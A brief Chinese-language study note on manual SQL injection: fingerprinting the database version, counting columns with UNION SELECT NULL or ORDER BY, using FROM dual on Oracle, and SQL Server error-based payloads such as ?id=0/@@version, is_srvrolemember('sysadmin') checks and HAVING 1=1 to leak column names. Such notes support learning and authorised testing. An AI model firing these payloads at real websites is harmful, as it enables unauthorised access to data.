SQLi-杂
识别数据库版本一般就是 引入@@version 变量之类的 把他放在一个奇异的地方然后让他报错
识别列数的两种方法
- 使用 union 查询
- 当结果只能返回一行我们该如何做
?id = ‘a’ and 1 = 2 union select balabala…(让前面查询永为假) - 为了防止类型不匹配 我们可以用null
- 得到列数后, 可以用字符串or数字分别替换null,不报错即得到数据类型
- 当结果只能返回一行我们该如何做
- 使用 order by id
- 使用 union 查询
对于oracle这种必须得有from子句的sql方言,可以让他from dual
SQL server提供了比其他DBMS更加详尽的信息
?id=2
=> ?id=system_user 类型转换错误 可能会爆system_user的值
=> ?id=0/@@version 同理
=> ?id=char(65 + is_srvrolemember(‘sysadmin’)) 仍然同理=> ?id=1 having 1 = 1 爆出第一列列名 如poducts.id
=> ?id=1 group by products.id having 1 = 1 爆出第二列列名 如products.name
=> …